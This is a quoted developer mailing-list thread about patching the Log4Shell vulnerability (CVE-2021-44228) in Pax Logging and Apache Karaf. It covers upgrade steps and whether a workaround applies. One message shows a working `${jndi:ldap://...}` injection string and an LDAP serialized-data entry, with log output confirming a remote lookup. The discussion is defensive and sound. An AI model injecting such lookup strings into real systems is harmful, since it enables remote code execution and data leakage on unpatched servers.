@Steven Huypens

In order to fix in current installation, you have to change the version in
etc/startup.properties and at runtime, do `update
<bundle-id-of-pax-logging-log4j2>
mvn:org.ops4j.pax.logging/pax-logging-log4j2/2.0.11`

regards
Grzegorz Grzybek

pon., 13 gru 2021 o 13:18 Jean-Baptiste Onofré <j...@nanthrax.net> napisał(a):

> Hi,
>
> you can upgrade to Karaf 4.3.4 (vote will start in a hour or so).
>
> It will include Pax Logging 2.0.11.
>
> If you can't wait, then, you have to create your own distro (mimic what
> we do at Karaf).
>
> Regards
> JB
>
> On 13/12/2021 13:10, Steven Huypens wrote:
> > Hi Grzegorz,
> >
> > Thanks, that's clear now.
> >
> > Another question: what is the simplest way of upgrading pax logging to
> > 2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
> > dependencies and add the 2.0.11 ones to my features.xml, or is there a
> > better option ?
> >
> > Kind regards,
> > Steven
> >
> > On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek <gr.grzy...@gmail.com>
> > wrote:
> >
> >> Hello
> >>
> >> The multiple export trick/hack/improvement/convenience is to make it
> easier
> >> to upgrade pax logging itself without affecting the OSGi users.
> >> Pax Logging *has to* export Log4j2 packages at version of the ONLY
> Log4j2
> >> library it uses (private-packages + re-exports), but it also declares
> that
> >> the exports match earlier versions.
> >> So if your application has:
> >>
> >> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
> >>
> >> Just because it was built by maven-bundle-plugin that for some reasons
> used
> >> more strict version range policy, the multiple versions exported by Pax
> >> Logging bundles won't break your application.
> >> It's a way of telling - if you're using our API at given version, we
> >> provide compatible interfaces. But the underlying implementation is (for
> >> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
> >>
> >> regards
> >> Grzegorz Grzybek
> >>
> >> pon., 13 gru 2021 o 11:42 Steven Huypens <steven.huyp...@gmail.com>
> >> napisał(a):
> >>
> >>> Hi all,
> >>>
> >>> We are using pax logging 2.0.9, but I can see it exports log4j2
> packages
> >>> for different versions: 2.9.1, 2.13.3 & 2.14.1
> >>>
> >>> Since one of those versions is not higher than 2.10, it's not clear to
> me
> >>> if the system property log4j.formatMsgNoLookup will fix the issue for
> our
> >>> application. Anyone knows ?
> >>>
> >>> Kind regards,
> >>> Steven
> >>>
> >>> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <
> e...@zusammenkunft.net
> >>>
> >>> wrote:
> >>>
> >>>> I am currently working on a description for a work around (specifying
> >> the
> >>>> system property) but I can’t get it to work.
> >>>>
> >>>> It still expands ${java:version}. I checked that it shows with
> >>>> “system:property log4j.formatMsgNoLookup” true and there seems to be
> no
> >>>> %m{lookup} setting.
> >>>>
> >>>> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> >>>> version newer than 2.10).
> >>>>
> >>>> Any idea?
> >>>>
> >>>> Is it possible that the shaded pax-logging-log4j does not honor the
> >>> system
> >>>> property of log4j?
> >>>>
> >>>>
> >>>> --
> >>>> https://bernd.eckenfels.net
> >>>> ________________________________
> >>>> From: Grzegorz Grzybek <gr.grzy...@gmail.com>
> >>>> Sent: Friday, December 10, 2021 1:43:00 PM
> >>>> To: dev@karaf.apache.org <dev@karaf.apache.org>
> >>>> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> >>> released
> >>>>
> >>>> Hello
> >>>>
> >>>> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes
> >> it
> >>>> in
> >>>> details.
> >>>>
> >>>> I was a bit surprised too - I knew about e.g., `${java:version}` if
> you
> >>>> used it in pattern layout configuration - I didn't expect Log4j2 to
> >>>> interpolate the messages passed to log() methods as well!
> >>>>
> >>>> But you can try (in Karaf):
> >>>>
> >>>> karaf@root()> log:log 'xxx ${java:version} xxx'
> >>>>
> >>>> And you'll see (in the logs):
> >>>>
> >>>> 2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version} xxx'}
> >>>> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> >>> xxx
> >>>> Java version 1.8.0_312 xxx
> >>>>
> >>>> so a message has been interpolated.
> >>>>
> >>>> What's worse, I could add an entry to my OpenLDAP with:
> >>>>
> >>>> javaClassName: java.lang.String
> >>>> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> >>>>
> >>>> And then:
> >>>>
> >>>> karaf@root()> log:log '${jndi:ldap://
> >>> 10.39.192.99/cn=boom,dc=k8s,dc=forest
> >>>> }'
> >>>>
> >>>> gave me this in logs:
> >>>>
> >>>> 2021-12-10 13:40:38,181 INFO  {pipe-log:log '${jndi:ldap://
> >>>> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> >>>> <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> >>>> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> >>>> http://localhost/attack
> >>>>
> >>>> "http://localhost/attack"; is the deserialized value from
> >>>> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> >>>>
> >>>> While you can't use "javaCodeBase" LDAP attribute to point to malicius
> >>> URL
> >>>> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase"
> system
> >>>> property that defaults to "false" since 2009), you still have a remote
> >>>> request being performed when logging messages with ${jndi:ldap://
> >>>> example.com
> >>>> }.
> >>>>
> >>>> regards
> >>>> Grzegorz Grzybek
> >>>>
> >>>> pt., 10 gru 2021 o 13:28 Bernd Eckenfels <e...@zusammenkunft.net>
> >>>> napisał(a):
> >>>>
> >>>>> Hello Grzegorz,
> >>>>>
> >>>>> Thanks a lot for the super quick reaction.
> >>>>>
> >>>>>   I was rather confused to see that log messages can trigger a JNDI
> >>> lookup
> >>>>> anyway. Do you think there should be hardened something here?
> >>>>>
> >>>>>   Do you know if that is triggered by malicious log config or by
> >>> malicious
> >>>>> log messages and does it only affect systems where the JMSAppender is
> >>>>> actually used?
> >>>>>
> >>>>> Gruss
> >>>>> Bernd
> >>>>>
> >>>>>
> >>>>> --
> >>>>> http://bernd.eckenfels.net
> >>>>> ________________________________
> >>>>> Von: Grzegorz Grzybek <gr.grzy...@gmail.com>
> >>>>> Gesendet: Friday, December 10, 2021 12:20:02 PM
> >>>>> An: ops4j-announcem...@googlegroups.com <
> >>>>> ops4j-announcem...@googlegroups.com>; Karaf Dev <
> >> dev@karaf.apache.org
> >>>> ;
> >>>>> d...@felix.apache.org <d...@felix.apache.org>
> >>>>> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> >> released
> >>>>>
> >>>>> Hello
> >>>>>
> >>>>> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> >>>> fix.
> >>>>>
> >>>>> *Log4j2 has been updated to version 2.15.0.*
> >>>>>
> >>>>> The changelog is available at GitHub:
> >>>>> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> >>>>>
> >>>>> kind regards
> >>>>> Grzegorz Grzybek
> >>>>>
> >>>>
> >>>
> >>
> >
>

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